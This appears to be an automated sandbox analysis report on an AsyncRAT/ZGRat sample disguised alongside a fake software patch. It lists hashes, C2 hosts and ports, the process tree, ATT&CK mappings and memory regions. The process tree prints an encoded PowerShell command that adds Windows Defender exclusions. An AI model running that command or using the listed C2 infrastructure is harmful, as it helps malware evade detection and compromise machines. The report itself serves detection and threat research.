Resubmissions

14-05-2024 10:41

240514-mrgf5scg23 10

Analysis

  • max time kernel
    141s
  • max time network
    146s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    14-05-2024 10:41

General

  • Target

    369be61aca46750085c842147909f80c8f938555071adeaceac6727bfcf74186.exe

  • Size

    2.3MB

  • MD5

    a717a432c558f56c46709d6d3ec9837f

  • SHA1

    ceda052be2519383085089a41c422ce2b1400a46

  • SHA256

    369be61aca46750085c842147909f80c8f938555071adeaceac6727bfcf74186

  • SHA512

    e859810a198b8b946581ed6197b1154856e736687dd593d383dc952a3afd597ed6b5a631a8e6b2228a425b809b772457e6e10e0ca6f68cd8f0a8cc637a81132c

  • SSDEEP

    49152:T+GJaXbo4IKA2WN4M63n4dHzCJYU6Mm4/4w2RAObR8XlZrzyiko:TboxWN4UHzCJYCmX5w1ZXyik

Malware Config

Extracted

Family

asyncrat

Version

0.5.8

Botnet

Default

C2

5512.sytes.net:6606

5512.sytes.net:7707

5512.sytes.net:8808

95.211.208.153:6606

95.211.208.153:7707

95.211.208.153:8808

Mutex

Llg9a02PERRO

Attributes
  • delay

    3

  • install

    false

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Detect ZGRat V1 34 IoCs
  • ZGRat

    ZGRat is remote access trojan written in C#.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 27 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\369be61aca46750085c842147909f80c8f938555071adeaceac6727bfcf74186.exe
    "C:\Users\Admin\AppData\Local\Temp\369be61aca46750085c842147909f80c8f938555071adeaceac6727bfcf74186.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:2912
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGYAZQBkACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGoAagBkACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHMAawBmACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAZwB4ACMAPgA="
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:668
    • C:\Users\Admin\AppData\Local\Dfzxuwcml.exe
      "C:\Users\Admin\AppData\Local\Dfzxuwcml.exe"
      2⤵
      • Executes dropped EXE
      • Adds Run key to start application
      • Suspicious use of SetThreadContext
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2396
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:3408
    • C:\Users\Admin\AppData\Local\Temp\hd.sentinel.pro.4.x-5.x-patch.exe
      "C:\Users\Admin\AppData\Local\Temp\hd.sentinel.pro.4.x-5.x-patch.exe"
      2⤵
      • Executes dropped EXE
      PID:1008

Network

MITRE ATT&CK Matrix ATT&CK v13

Execution

Command and Scripting Interpreter

1
T1059

PowerShell

1
T1059.001

Persistence

Boot or Logon Autostart Execution

1
T1547

Registry Run Keys / Startup Folder

1
T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1
T1547

Registry Run Keys / Startup Folder

1
T1547.001

Defense Evasion

Modify Registry

1
T1112

Discovery

System Information Discovery

1
T1082

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015
    Filesize

    68KB

    MD5

    29f65ba8e88c063813cc50a4ea544e93

    SHA1

    05a7040d5c127e68c25d81cc51271ffb8bef3568

    SHA256

    1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184

    SHA512

    e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

  • C:\Users\Admin\AppData\Local\Temp\Tar2505.tmp
    Filesize

    177KB

    MD5

    435a9ac180383f9fa094131b173a2f7b

    SHA1

    76944ea657a9db94f9a4bef38f88c46ed4166983

    SHA256

    67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34

    SHA512

    1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a

  • C:\Users\Admin\AppData\Local\Temp\hd.sentinel.pro.4.x-5.x-patch.exe
    Filesize

    85KB

    MD5

    57824abbb9afe394c8a17a410e60c6fd

    SHA1

    cdb3fe63c22e7d93d4a47bdb966b09f1b478f19f

    SHA256

    becb4e1eaa4fbd915241f1138e2ed7b9833dc1cf66d6da25f9fac1a3e317c3ee

    SHA512

    8b4e82437d6a30e73b65d0abc41b68d8420454622efd43d8d874ecee7a9251f36555d4c35dd13f886250948df1b9606ee61d0bcb2c8abb748b316dadff539c3d

  • \Users\Admin\AppData\Local\Dfzxuwcml.exe
    Filesize

    2.2MB

    MD5

    577b8f4cd65df6e3cd42d7d37c7917cf

    SHA1

    5033814e5aade04682bf7cb7fca3e32c46c5512a

    SHA256

    d4360ef0464f7620fe0e3d5185adcdc0781aacfe23510d2c6c2e85c1095c8948

    SHA512

    a42dab76abe41e53d7eee1ff3cec3092b26e1a05bdd6c91e8f12e35f6f14fc36df5ef918d0a2818d9f549db1e8ace169ff8ed3f441253a9a27b89c1ec816ff9d

  • memory/2396-45-0x0000000004920000-0x0000000004B3A000-memory.dmp
    Filesize

    2.1MB

  • memory/2396-4902-0x00000000059D0000-0x0000000005A24000-memory.dmp
    Filesize

    336KB

  • memory/2396-23-0x0000000004920000-0x0000000004B3A000-memory.dmp
    Filesize

    2.1MB

  • memory/2396-28-0x0000000004920000-0x0000000004B3A000-memory.dmp
    Filesize

    2.1MB

  • memory/2396-33-0x0000000004920000-0x0000000004B3A000-memory.dmp
    Filesize

    2.1MB

  • memory/2396-35-0x0000000004920000-0x0000000004B3A000-memory.dmp
    Filesize

    2.1MB

  • memory/2396-37-0x0000000004920000-0x0000000004B3A000-memory.dmp
    Filesize

    2.1MB

  • memory/2396-31-0x0000000004920000-0x0000000004B3A000-memory.dmp
    Filesize

    2.1MB

  • memory/2396-29-0x0000000004920000-0x0000000004B3A000-memory.dmp
    Filesize

    2.1MB

  • memory/2396-25-0x0000000004920000-0x0000000004B3A000-memory.dmp
    Filesize

    2.1MB

  • memory/2396-55-0x0000000004920000-0x0000000004B3A000-memory.dmp
    Filesize

    2.1MB

  • memory/2396-57-0x0000000004920000-0x0000000004B3A000-memory.dmp
    Filesize

    2.1MB

  • memory/2396-53-0x0000000004920000-0x0000000004B3A000-memory.dmp
    Filesize

    2.1MB

  • memory/2396-63-0x0000000004920000-0x0000000004B3A000-memory.dmp
    Filesize

    2.1MB

  • memory/2396-49-0x0000000004920000-0x0000000004B3A000-memory.dmp
    Filesize

    2.1MB

  • memory/2396-47-0x0000000004920000-0x0000000004B3A000-memory.dmp
    Filesize

    2.1MB

  • memory/2396-20-0x0000000004920000-0x0000000004B3A000-memory.dmp
    Filesize

    2.1MB

  • memory/2396-43-0x0000000004920000-0x0000000004B3A000-memory.dmp
    Filesize

    2.1MB

  • memory/2396-19-0x0000000004920000-0x0000000004B40000-memory.dmp
    Filesize

    2.1MB

  • memory/2396-21-0x0000000004920000-0x0000000004B3A000-memory.dmp
    Filesize

    2.1MB

  • memory/2396-51-0x0000000004920000-0x0000000004B3A000-memory.dmp
    Filesize

    2.1MB

  • memory/2396-61-0x0000000004920000-0x0000000004B3A000-memory.dmp
    Filesize

    2.1MB

  • memory/2396-59-0x0000000004920000-0x0000000004B3A000-memory.dmp
    Filesize

    2.1MB

  • memory/2396-65-0x0000000004920000-0x0000000004B3A000-memory.dmp
    Filesize

    2.1MB

  • memory/2396-67-0x0000000004920000-0x0000000004B3A000-memory.dmp
    Filesize

    2.1MB

  • memory/2396-75-0x0000000004920000-0x0000000004B3A000-memory.dmp
    Filesize

    2.1MB

  • memory/2396-73-0x0000000004920000-0x0000000004B3A000-memory.dmp
    Filesize

    2.1MB

  • memory/2396-71-0x0000000004920000-0x0000000004B3A000-memory.dmp
    Filesize

    2.1MB

  • memory/2396-69-0x0000000004920000-0x0000000004B3A000-memory.dmp
    Filesize

    2.1MB

  • memory/2396-77-0x0000000004920000-0x0000000004B3A000-memory.dmp
    Filesize

    2.1MB

  • memory/2396-79-0x0000000004920000-0x0000000004B3A000-memory.dmp
    Filesize

    2.1MB

  • memory/2396-81-0x0000000004920000-0x0000000004B3A000-memory.dmp
    Filesize

    2.1MB

  • memory/2396-83-0x0000000004920000-0x0000000004B3A000-memory.dmp
    Filesize

    2.1MB

  • memory/2396-39-0x0000000004920000-0x0000000004B3A000-memory.dmp
    Filesize

    2.1MB

  • memory/2396-4901-0x0000000004F30000-0x0000000004F7C000-memory.dmp
    Filesize

    304KB

  • memory/2396-4900-0x00000000044F0000-0x000000000454C000-memory.dmp
    Filesize

    368KB

  • memory/2396-18-0x0000000000B40000-0x0000000000D72000-memory.dmp
    Filesize

    2.2MB

  • memory/2396-41-0x0000000004920000-0x0000000004B3A000-memory.dmp
    Filesize

    2.1MB

  • memory/3408-4916-0x0000000000400000-0x0000000000412000-memory.dmp
    Filesize

    72KB